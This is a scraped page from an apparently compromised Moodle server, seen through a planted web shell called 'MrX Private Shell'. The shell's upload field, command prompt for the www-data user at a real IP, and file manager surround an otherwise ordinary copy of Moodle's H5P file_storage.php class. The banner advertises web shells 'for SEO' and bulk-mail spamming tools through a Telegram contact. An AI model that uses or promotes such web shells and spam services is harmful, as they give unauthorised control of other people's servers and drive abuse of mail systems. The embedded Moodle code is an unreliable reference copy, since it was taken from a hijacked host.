__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Class \core_h5p\file_storage.
 *
 * @package    core_h5p
 * @copyright  2019 Victor Deniz <victor@moodle.com>, base on code by Joubel AS
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace core_h5p;

use stored_file;
use Moodle\H5PCore;
use Moodle\H5peditorFile;
use Moodle\H5PFileStorage;

// phpcs:disable moodle.NamingConventions.ValidFunctionName.LowercaseMethod

/**
 * Class to handle storage and export of H5P Content.
 *
 * @package    core_h5p
 * @copyright  2019 Victor Deniz <victor@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class file_storage implements H5PFileStorage {

    /** The component for H5P. */
    public const COMPONENT   = 'core_h5p';
    /** The library file area. */
    public const LIBRARY_FILEAREA = 'libraries';
    /** The content file area */
    public const CONTENT_FILEAREA = 'content';
    /** The cached assest file area. */
    public const CACHED_ASSETS_FILEAREA = 'cachedassets';
    /** The export file area */
    public const EXPORT_FILEAREA = 'export';
    /** The export css file area */
    public const CSS_FILEAREA = 'css';
    /** The icon filename */
    public const ICON_FILENAME = 'icon.svg';
    /** The custom CSS filename */
    private const CUSTOM_CSS_FILENAME = 'custom_h5p.css';

    /**
     * @var \context $context Currently we use the system context everywhere.
     * Don't feel forced to keep it this way in the future.
     */
    protected $context;

    /** @var \file_storage $fs File storage. */
    protected $fs;

    /**
     * Initial setup for file_storage.
     */
    public function __construct() {
        // Currently everything uses the system context.
        $this->context = \context_system::instance();
        $this->fs = get_file_storage();
    }

    /**
     * Stores a H5P library in the Moodle filesystem.
     *
     * @param array $library Library properties.
     */
    public function saveLibrary($library) {
        $options = [
            'contextid' => $this->context->id,
            'component' => self::COMPONENT,
            'filearea' => self::LIBRARY_FILEAREA,
            'filepath' => '/' . H5PCore::libraryToFolderName($library) . '/',
            'itemid' => $library['libraryId'],
        ];

        // Easiest approach: delete the existing library version and copy the new one.
        $this->delete_library($library);
        $this->copy_directory($library['uploadDirectory'], $options);
    }

    /**
     * Delete library folder.
     *
     * @param array $library
     */
    public function deleteLibrary($library) {
        // Although this class had a method (delete_library()) for removing libraries before this was added to the interface,
        // it's not safe to call it from here because looking at the place where it's called, it's not clear what are their
        // expectation. This method will be implemented once more information will be added to the H5P technical doc.
    }


    /**
     * Store the content folder.
     *
     * @param string $source Path on file system to content directory.
     * @param array $content Content properties
     */
    public function saveContent($source, $content) {
        $options = [
                'contextid' => $this->context->id,
                'component' => self::COMPONENT,
                'filearea' => self::CONTENT_FILEAREA,
                'itemid' => $content['id'],
                'filepath' => '/',
        ];

        $this->delete_directory($this->context->id, self::COMPONENT, self::CONTENT_FILEAREA, $content['id']);
        // Copy content directory into Moodle filesystem.
        $this->copy_directory($source, $options);
    }

    /**
     * Remove content folder.
     *
     * @param array $content Content properties
     */
    public function deleteContent($content) {

        $this->delete_directory($this->context->id, self::COMPONENT, self::CONTENT_FILEAREA, $content['id']);
    }

    /**
     * Creates a stored copy of the content folder.
     *
     * @param string $id Identifier of content to clone.
     * @param int $newid The cloned content's identifier
     */
    public function cloneContent($id, $newid) {
        // Not implemented in Moodle.
    }

    /**
     * Get path to a new unique tmp folder.
     * Please note this needs to not be a directory.
     *
     * @return string Path
     */
    public function getTmpPath(): string {
        return make_request_directory() . '/' . uniqid('h5p-');
    }

    /**
     * Fetch content folder and save in target directory.
     *
     * @param int $id Content identifier
     * @param string $target Where the content folder will be saved
     */
    public function exportContent($id, $target) {
        $this->export_file_tree($target, $this->context->id, self::CONTENT_FILEAREA, '/', $id);
    }

    /**
     * Fetch library folder and save in target directory.
     *
     * @param array $library Library properties
     * @param string $target Where the library folder will be saved
     */
    public function exportLibrary($library, $target) {
        $folder = H5PCore::libraryToFolderName($library);
        $this->export_file_tree($target . '/' . $folder, $this->context->id, self::LIBRARY_FILEAREA,
                '/' . $folder . '/', $library['libraryId']);
    }

    /**
     * Save export in file system
     *
     * @param string $source Path on file system to temporary export file.
     * @param string $filename Name of export file.
     */
    public function saveExport($source, $filename) {
        global $USER;

        // Remove old export.
        $this->deleteExport($filename);

        $filerecord = [
            'contextid' => $this->context->id,
            'component' => self::COMPONENT,
            'filearea' => self::EXPORT_FILEAREA,
            'itemid' => 0,
            'filepath' => '/',
            'filename' => $filename,
            'userid' => $USER->id
        ];
        $this->fs->create_file_from_pathname($filerecord, $source);
    }

    /**
     * Removes given export file
     *
     * @param string $filename filename of the export to delete.
     */
    public function deleteExport($filename) {
        $file = $this->get_export_file($filename);
        if ($file) {
            $file->delete();
        }
    }

    /**
     * Check if the given export file exists
     *
     * @param string $filename The export file to check.
     * @return boolean True if the export file exists.
     */
    public function hasExport($filename) {
        return !!$this->get_export_file($filename);
    }

    /**
     * Will concatenate all JavaScrips and Stylesheets into two files in order
     * to improve page performance.
     *
     * @param array $files A set of all the assets required for content to display
     * @param string $key Hashed key for cached asset
     */
    public function cacheAssets(&$files, $key) {

        foreach ($files as $type => $assets) {
            if (empty($assets)) {
                continue;
            }

            // Create new file for cached assets.
            $ext = ($type === 'scripts' ? 'js' : 'css');
            $filename = $key . '.' . $ext;
            $fileinfo = [
                'contextid' => $this->context->id,
                'component' => self::COMPONENT,
                'filearea' => self::CACHED_ASSETS_FILEAREA,
                'itemid' => 0,
                'filepath' => '/',
                'filename' => $filename
            ];

            // Store concatenated content.
            $this->fs->create_file_from_string($fileinfo, $this->concatenate_files($assets, $type, $this->context));
            $files[$type] = [
                (object) [
                    'path' => '/' . self::CACHED_ASSETS_FILEAREA . '/' . $filename,
                    'version' => ''
                ]
            ];
        }
    }

    /**
     * Will check if there are cache assets available for content.
     *
     * @param string $key Hashed key for cached asset
     * @return array
     */
    public function getCachedAssets($key) {
        $files = [];

        $js = $this->fs->get_file($this->context->id, self::COMPONENT, self::CACHED_ASSETS_FILEAREA, 0, '/', "{$key}.js");
        if ($js && $js->get_filesize() > 0) {
            $files['scripts'] = [
                (object) [
                    'path' => '/' . self::CACHED_ASSETS_FILEAREA . '/' . "{$key}.js",
                    'version' => ''
                ]
            ];
        }

        $css = $this->fs->get_file($this->context->id, self::COMPONENT, self::CACHED_ASSETS_FILEAREA, 0, '/', "{$key}.css");
        if ($css && $css->get_filesize() > 0) {
            $files['styles'] = [
                (object) [
                    'path' => '/' . self::CACHED_ASSETS_FILEAREA . '/' . "{$key}.css",
                    'version' => ''
                ]
            ];
        }

        return empty($files) ? null : $files;
    }

    /**
     * Remove the aggregated cache files.
     *
     * @param array $keys The hash keys of removed files
     */
    public function deleteCachedAssets($keys) {

        if (empty($keys)) {
            return;
        }

        foreach ($keys as $hash) {
            foreach (['js', 'css'] as $type) {
                $cachedasset = $this->fs->get_file($this->context->id, self::COMPONENT, self::CACHED_ASSETS_FILEAREA, 0, '/',
                        "{$hash}.{$type}");
                if ($cachedasset) {
                    $cachedasset->delete();
                }
            }
        }
    }

    /**
     * Read file content of given file and then return it.
     *
     * @param string $filepath
     * @return string contents
     */
    public function getContent($filepath) {
        list(
            'filearea' => $filearea,
            'filepath' => $filepath,
            'filename' => $filename,
            'itemid' => $itemid
        ) = $this->get_file_elements_from_filepath($filepath);

        if (!$itemid) {
            throw new \file_serving_exception('Could not retrieve the requested file, check your file permissions.');
        }

        // Locate file.
        $file = $this->fs->get_file($this->context->id, self::COMPONENT, $filearea, $itemid, $filepath, $filename);

        // Return content.
        return $file->get_content();
    }

    /**
     * Save files uploaded through the editor.
     *
     * @param H5peditorFile $file
     * @param int $contentid
     *
     * @return int The id of the saved file.
     */
    public function saveFile($file, $contentid) {
        global $USER;

        $context = $this->context->id;
        $component = self::COMPONENT;
        $filearea = self::CONTENT_FILEAREA;
        if ($contentid === 0) {
            $usercontext = \context_user::instance($USER->id);
            $context = $usercontext->id;
            $component = 'user';
            $filearea = 'draft';
        }

        $record = array(
            'contextid' => $context,
            'component' => $component,
            'filearea' => $filearea,
            'itemid' => $contentid,
            'filepath' => '/' . $file->getType() . 's/',
            'filename' => $file->getName()
        );

        $storedfile = $this->fs->create_file_from_pathname($record, $_FILES['file']['tmp_name']);

        return $storedfile->get_id();
    }

    /**
     * Copy a file from another content or editor tmp dir.
     * Used when copy pasting content in H5P.
     *
     * @param string $file path + name
     * @param string|int $fromid Content ID or 'editor' string
     * @param \stdClass $tocontent Target Content
     *
     * @return void
     */
    public function cloneContentFile($file, $fromid, $tocontent): void {
        // Determine source filearea and itemid.
        if ($fromid === 'editor') {
            $sourcefilearea = 'draft';
            $sourceitemid = 0;
        } else {
            $sourcefilearea = self::CONTENT_FILEAREA;
            $sourceitemid = (int)$fromid;
        }

        $filepath = '/' . dirname($file) . '/';
        $filename = basename($file);

        // Check to see if source exists.
        $sourcefile = $this->get_file($sourcefilearea, $sourceitemid, $file);
        if ($sourcefile === null) {
            return; // Nothing to copy from.
        }

        // Check to make sure that file doesn't exist already in target.
        $targetfile = $this->get_file(self::CONTENT_FILEAREA, $tocontent->id, $file);
        if ( $targetfile !== null) {
            return; // File exists, no need to copy.
        }

        // Create new file record.
        $record = [
            'contextid' => $this->context->id,
            'component' => self::COMPONENT,
            'filearea' => self::CONTENT_FILEAREA,
            'itemid' => $tocontent->id,
            'filepath' => $filepath,
            'filename' => $filename,
        ];

        $this->fs->create_file_from_storedfile($record, $sourcefile);
    }

    /**
     * Copy content from one directory to another.
     * Defaults to cloning content from the current temporary upload folder to the editor path.
     *
     * @param string $source path to source directory
     * @param string $contentid Id of content
     *
     */
    public function moveContentDirectory($source, $contentid = null) {
        $contentidint = (int)$contentid;

        if ($source === null) {
            return;
        }

        // Get H5P and content json.
        $contentsource = $source . '/content';

        // Move all temporary content files to editor.
        $it = new \RecursiveIteratorIterator(
            new \RecursiveDirectoryIterator($contentsource, \RecursiveDirectoryIterator::SKIP_DOTS),
            \RecursiveIteratorIterator::SELF_FIRST
        );

        $it->rewind();
        while ($it->valid()) {
            $item = $it->current();
            $pathname = $it->getPathname();
            if (!$item->isDir() && !($item->getFilename() === 'content.json')) {
                $this->move_file($pathname, $contentidint);
            }
            $it->next();
        }
    }

    /**
     * Get the file URL or given library and then return it.
     *
     * @param int $itemid
     * @param string $machinename
     * @param int $majorversion
     * @param int $minorversion
     * @return string url or false if the file doesn't exist
     */
    public function get_icon_url(int $itemid, string $machinename, int $majorversion, int $minorversion) {
        $filepath = '/' . "{$machinename}-{$majorversion}.{$minorversion}" . '/';
        if ($file = $this->fs->get_file(
            $this->context->id,
            self::COMPONENT,
            self::LIBRARY_FILEAREA,
            $itemid,
            $filepath,
            self::ICON_FILENAME)
        ) {
            $iconurl  = \moodle_url::make_pluginfile_url(
                $this->context->id,
                self::COMPONENT,
                self::LIBRARY_FILEAREA,
                $itemid,
                $filepath,
                $file->get_filename());

            // Return image URL.
            return $iconurl->out();
        }

        return false;
    }

    /**
     * Checks to see if an H5P content has the given file.
     *
     * @param string $file File path and name.
     * @param int $content Content id.
     *
     * @return int|null File ID or NULL if not found
     */
    public function getContentFile($file, $content): ?int {
        if (is_object($content)) {
            $content = $content->id;
        }
        $contentfile = $this->get_file(self::CONTENT_FILEAREA, $content, $file);

        return ($contentfile === null ? null : $contentfile->get_id());
    }

    /**
     * Remove content files that are no longer used.
     *
     * Used when saving content.
     *
     * @param string $file File path and name.
     * @param int $contentid Content id.
     *
     * @return void
     */
    public function removeContentFile($file, $contentid): void {
        // Although the interface defines $contentid as int, object given in H5peditor::processParameters.
        if (is_object($contentid)) {
            $contentid = $contentid->id;
        }
        $existingfile = $this->get_file(self::CONTENT_FILEAREA, $contentid, $file);
        if ($existingfile !== null) {
            $existingfile->delete();
        }
    }

    /**
     * Check if server setup has write permission to
     * the required folders
     *
     * @return bool True if server has the proper write access
     */
    public function hasWriteAccess() {
        // Moodle has access to the files table which is where all of the folders are stored.
        return true;
    }

    /**
     * Check if the library has a presave.js in the root folder
     *
     * @param string $libraryname
     * @param string $developmentpath
     * @return bool
     */
    public function hasPresave($libraryname, $developmentpath = null) {
        return false;
    }

    /**
     * Check if upgrades script exist for library.
     *
     * @param string $machinename
     * @param int $majorversion
     * @param int $minorversion
     * @return string Relative path
     */
    public function getUpgradeScript($machinename, $majorversion, $minorversion) {
        $path = '/' . "{$machinename}-{$majorversion}.{$minorversion}" . '/';
        $file = 'upgrade.js';
        $itemid = $this->get_itemid_for_file(self::LIBRARY_FILEAREA, $path, $file);
        if ($this->fs->get_file($this->context->id, self::COMPONENT, self::LIBRARY_FILEAREA, $itemid, $path, $file)) {
            return '/' . self::LIBRARY_FILEAREA . $path. $file;
        } else {
            return null;
        }
    }

    /**
     * Store the given stream into the given file.
     *
     * @param string $path
     * @param string $file
     * @param resource $stream
     * @return bool|int
     */
    public function saveFileFromZip($path, $file, $stream) {
        $fullpath = $path . '/' . $file;
        check_dir_exists(pathinfo($fullpath, PATHINFO_DIRNAME));
        return file_put_contents($fullpath, $stream);
    }

    /**
     * Deletes a library from the file system.
     *
     * @param  array $library Library details
     */
    public function delete_library(array $library): void {
        global $DB;

        // A library ID of false would result in all library files being deleted, which we don't want. Return instead.
        if (empty($library['libraryId'])) {
            return;
        }

        $areafiles = $this->fs->get_area_files($this->context->id, self::COMPONENT, self::LIBRARY_FILEAREA, $library['libraryId']);
        $this->delete_directory($this->context->id, self::COMPONENT, self::LIBRARY_FILEAREA, $library['libraryId']);
        $librarycache = \cache::make('core', 'h5p_library_files');
        foreach ($areafiles as $file) {
            if (!$DB->record_exists('files', array('contenthash' => $file->get_contenthash(),
                                                   'component' => self::COMPONENT,
                                                   'filearea' => self::LIBRARY_FILEAREA))) {
                $librarycache->delete($file->get_contenthash());
            }
        }
    }

    /**
     * Remove an H5P directory from the filesystem.
     *
     * @param int $contextid context ID
     * @param string $component component
     * @param string $filearea file area or all areas in context if not specified
     * @param int $itemid item ID or all files if not specified
     */
    private function delete_directory(int $contextid, string $component, string $filearea, int $itemid): void {

        $this->fs->delete_area_files($contextid, $component, $filearea, $itemid);
    }

    /**
     * Copy an H5P directory from the temporary directory into the file system.
     *
     * @param  string $source  Temporary location for files.
     * @param  array  $options File system information.
     */
    private function copy_directory(string $source, array $options): void {
        $librarycache = \cache::make('core', 'h5p_library_files');
        $it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($source, \RecursiveDirectoryIterator::SKIP_DOTS),
                \RecursiveIteratorIterator::SELF_FIRST);

        $root = $options['filepath'];

        $it->rewind();
        while ($it->valid()) {
            $item = $it->current();
            $subpath = $it->getSubPath();
            if (!$item->isDir()) {
                $options['filename'] = $it->getFilename();
                if (!$subpath == '') {
                    $options['filepath'] = $root . $subpath . '/';
                } else {
                    $options['filepath'] = $root;
                }

                $file = $this->fs->create_file_from_pathname($options, $item->getPathName());

                if ($options['filearea'] == self::LIBRARY_FILEAREA) {
                    if (!$librarycache->has($file->get_contenthash())) {
                        $librarycache->set($file->get_contenthash(), file_get_contents($item->getPathName()));
                    }
                }
            }
            $it->next();
        }
    }

    /**
     * Copies files from storage to temporary folder.
     *
     * @param string $target Path to temporary folder
     * @param int $contextid context where the files are found
     * @param string $filearea file area
     * @param string $filepath file path
     * @param int $itemid Optional item ID
     */
    private function export_file_tree(string $target, int $contextid, string $filearea, string $filepath, int $itemid = 0): void {
        // Make sure target folder exists.
        check_dir_exists($target);

        // Read source files.
        $files = $this->fs->get_directory_files($contextid, self::COMPONENT, $filearea, $itemid, $filepath, true);

        $librarycache = \cache::make('core', 'h5p_library_files');

        foreach ($files as $file) {
            $path = $target . str_replace($filepath, DIRECTORY_SEPARATOR, $file->get_filepath());
            if ($file->is_directory()) {
                check_dir_exists(rtrim($path));
            } else {
                if ($filearea == self::LIBRARY_FILEAREA) {
                    $cachedfile = $librarycache->get($file->get_contenthash());
                    if (empty($cachedfile)) {
                        $file->copy_content_to($path . $file->get_filename());
                        $librarycache->set($file->get_contenthash(), file_get_contents($path . $file->get_filename()));
                    } else {
                        file_put_contents($path . $file->get_filename(), $cachedfile);
                    }
                } else {
                    $file->copy_content_to($path . $file->get_filename());
                }
            }
        }
    }

    /**
     * Adds all files of a type into one file.
     *
     * @param  array    $assets  A list of files.
     * @param  string   $type    The type of files in assets. Either 'scripts' or 'styles'
     * @param  \context $context Context
     * @return string All of the file content in one string.
     */
    private function concatenate_files(array $assets, string $type, \context $context): string {
        $content = '';
        foreach ($assets as $asset) {
            // Find location of asset.
            list(
                'filearea' => $filearea,
                'filepath' => $filepath,
                'filename' => $filename,
                'itemid' => $itemid
            ) = $this->get_file_elements_from_filepath($asset->path);

            if ($itemid === false) {
                continue;
            }

            // Locate file.
            $file = $this->fs->get_file($context->id, self::COMPONENT, $filearea, $itemid, $filepath, $filename);

            // Get file content and concatenate.
            if ($type === 'scripts') {
                $content .= $file->get_content() . ";\n";
            } else {
                // Rewrite relative URLs used inside stylesheets.
                $content .= preg_replace_callback(
                    '/url\([\'"]?([^"\')]+)[\'"]?\)/i',
                    function ($matches) use ($filearea, $filepath, $itemid) {
                        if (preg_match("/^(data:|([a-z0-9]+:)?\/)/i", $matches[1]) === 1) {
                            return $matches[0]; // Not relative, skip.
                        }
                        // Find "../" in matches[1].
                        // If it exists, we have to remove "../".
                        // And switch the last folder in the filepath for the first folder in $matches[1].
                        // For instance:
                        // $filepath: /H5P.Question-1.4/styles/
                        // $matches[1]: ../images/plus-one.svg
                        // We want to avoid this: H5P.Question-1.4/styles/ITEMID/../images/minus-one.svg
                        // We want this: H5P.Question-1.4/images/ITEMID/minus-one.svg.
                        if (preg_match('/\.\.\//', $matches[1], $pathmatches)) {
                            $path = preg_split('/\//', $filepath, -1, PREG_SPLIT_NO_EMPTY);
                            $pathfilename = preg_split('/\//', $matches[1], -1, PREG_SPLIT_NO_EMPTY);
                            // Remove the first element: ../.
                            array_shift($pathfilename);
                            // Replace pathfilename into the filepath.
                            $path[count($path) - 1] = $pathfilename[0];
                            $filepath = '/' . implode('/', $path) . '/';
                            // Remove the element used to replace.
                            array_shift($pathfilename);
                            $matches[1] = implode('/', $pathfilename);
                        }
                        return 'url("../' . $filearea . $filepath . $itemid . '/' . $matches[1] . '")';
                    },
                    $file->get_content()) . "\n";
            }
        }
        return $content;
    }

    /**
     * Get files ready for export.
     *
     * @param  string $filename File name to retrieve.
     * @return bool|\stored_file Stored file instance if exists, false if not
     */
    public function get_export_file(string $filename) {
        return $this->fs->get_file($this->context->id, self::COMPONENT, self::EXPORT_FILEAREA, 0, '/', $filename);
    }

    /**
     * Converts a relative system file path into Moodle File API elements.
     *
     * @param  string $filepath The system filepath to get information from.
     * @return array File information.
     */
    private function get_file_elements_from_filepath(string $filepath): array {
        $sections = explode('/', $filepath);
        // Get the filename.
        $filename = array_pop($sections);
        // Discard first element.
        if (empty($sections[0])) {
            array_shift($sections);
        }
        // Get the filearea.
        $filearea = array_shift($sections);
        $itemid = array_shift($sections);
        // Get the filepath.
        $filepath = implode('/', $sections);
        $filepath = '/' . $filepath . '/';

        return ['filearea' => $filearea, 'filepath' => $filepath, 'filename' => $filename, 'itemid' => $itemid];
    }

    /**
     * Returns the item id given the other necessary variables.
     *
     * @param  string $filearea The file area.
     * @param  string $filepath The file path.
     * @param  string $filename The file name.
     * @return mixed the specified value false if not found.
     */
    private function get_itemid_for_file(string $filearea, string $filepath, string $filename) {
        global $DB;
        return $DB->get_field('files', 'itemid', ['component' => self::COMPONENT, 'filearea' => $filearea, 'filepath' => $filepath,
                'filename' => $filename]);
    }

    /**
     * Helper to make it easy to load content files.
     *
     * @param string $filearea File area where the file is saved.
     * @param int $itemid Content instance or content id.
     * @param string $file File path and name.
     *
     * @return stored_file|null
     */
    private function get_file(string $filearea, int $itemid, string $file): ?stored_file {
        global $USER;

        $component = self::COMPONENT;
        $context = $this->context->id;
        if ($filearea === 'draft') {
            $itemid = 0;
            $component = 'user';
            $usercontext = \context_user::instance($USER->id);
            $context = $usercontext->id;
        }

        $filepath = '/'. dirname($file). '/';
        $filename = basename($file);

        // Load file.
        $existingfile = $this->fs->get_file($context, $component, $filearea, $itemid, $filepath, $filename);
        if (!$existingfile) {
            return null;
        }

        return $existingfile;
    }

    /**
     * Move a single file
     *
     * @param string $sourcefile Path to source file
     * @param int $contentid Content id or 0 if the file is in the editor file area
     *
     * @return void
     */
    private function move_file(string $sourcefile, int $contentid): void {
        $pathparts = pathinfo($sourcefile);
        $filename  = $pathparts['basename'];
        $filepath  = $pathparts['dirname'];
        $foldername = basename($filepath);

        // Create file record for content.
        $record = array(
            'contextid' => $this->context->id,
            'component' => $contentid > 0 ? self::COMPONENT : 'user',
            'filearea' => $contentid > 0 ? self::CONTENT_FILEAREA : 'draft',
            'itemid' => $contentid > 0 ? $contentid : 0,
            'filepath' => '/' . $foldername . '/',
            'filename' => $filename
        );

        $file = $this->fs->get_file(
            $record['contextid'], $record['component'],
            $record['filearea'], $record['itemid'], $record['filepath'],
            $record['filename']
        );

        if ($file) {
            // Delete it to make sure that it is replaced with correct content.
            $file->delete();
        }

        $this->fs->create_file_from_pathname($record, $sourcefile);
    }

    /**
     * Generate H5P custom styles if any.
     */
    public static function generate_custom_styles(): void {
        $record = self::get_custom_styles_file_record();
        $cssfile = self::get_custom_styles_file($record);
        if ($cssfile) {
            // The CSS file needs to be updated, so delete and recreate it
            // if there is CSS in the 'h5pcustomcss' setting.
            $cssfile->delete();
        }

        $css = get_config('core_h5p', 'h5pcustomcss');
        if (!empty($css)) {
            $fs = get_file_storage();
            $fs->create_file_from_string($record, $css);
        }
    }

    /**
     * Get H5P custom styles if any.
     *
     * @throws \moodle_exception If the CSS setting is empty but there is a file to serve
     * or there is no file but the CSS setting is not empty.
     * @return array|null If there is CSS then an array with the keys 'cssurl'
     * and 'cssversion' is returned otherwise null.  'cssurl' is a link to the
     * generated 'custom_h5p.css' file and 'cssversion' the md5 hash of its contents.
     */
    public static function get_custom_styles(): ?array {
        $record = self::get_custom_styles_file_record();

        $css = get_config('core_h5p', 'h5pcustomcss');
        if (self::get_custom_styles_file($record)) {
            if (empty($css)) {
                // The custom CSS file exists and yet the setting 'h5pcustomcss' is empty.
                // This prevents an invalid content hash.
                throw new \moodle_exception(
                    'The H5P \'h5pcustomcss\' setting is empty and yet the custom CSS file \''.
                    $record['filename'].
                    '\' exists.',
                    'core_h5p'
                );
            }
            // File exists, so generate the url and version hash.
            $cssurl = \moodle_url::make_pluginfile_url(
                $record['contextid'],
                $record['component'],
                $record['filearea'],
                null,
                $record['filepath'],
                $record['filename']
            );
            return ['cssurl' => $cssurl, 'cssversion' => md5($css)];
        } else if (!empty($css)) {
            // The custom CSS file does not exist and yet should do.
            throw new \moodle_exception(
                'The H5P custom CSS file \''.
                $record['filename'].
                '\' does not exist and yet there is CSS in the \'h5pcustomcss\' setting.',
                'core_h5p'
            );
        }
        return null;
    }

    /**
     * Get H5P custom styles file record.
     *
     * @return array File record for the CSS custom styles.
     */
    private static function get_custom_styles_file_record(): array {
        return [
            'contextid' => \context_system::instance()->id,
            'component' => self::COMPONENT,
            'filearea' => self::CSS_FILEAREA,
            'itemid' => 0,
            'filepath' => '/',
            'filename' => self::CUSTOM_CSS_FILENAME,
        ];
    }

    /**
     * Get H5P custom styles file.
     *
     * @param array $record The H5P custom styles file record.
     *
     * @return stored_file|bool stored_file instance if exists, false if not.
     */
    private static function get_custom_styles_file($record): stored_file|bool {
        $fs = get_file_storage();
        return $fs->get_file(
            $record['contextid'],
            $record['component'],
            $record['filearea'],
            $record['itemid'],
            $record['filepath'],
            $record['filename']
        );
    }
}

Filemanager

Name Type Size Permission Actions
event Folder 0777
form Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
api.php File 36 KB 0777
core.php File 15.81 KB 0777
editor.php File 16.9 KB 0777
editor_ajax.php File 8.52 KB 0777
editor_framework.php File 13.33 KB 0777
external.php File 5.95 KB 0777
factory.php File 5.33 KB 0777
file_storage.php File 33.79 KB 0777
framework.php File 77.69 KB 0777
helper.php File 19.55 KB 0777
player.php File 22.09 KB 0777
Filemanager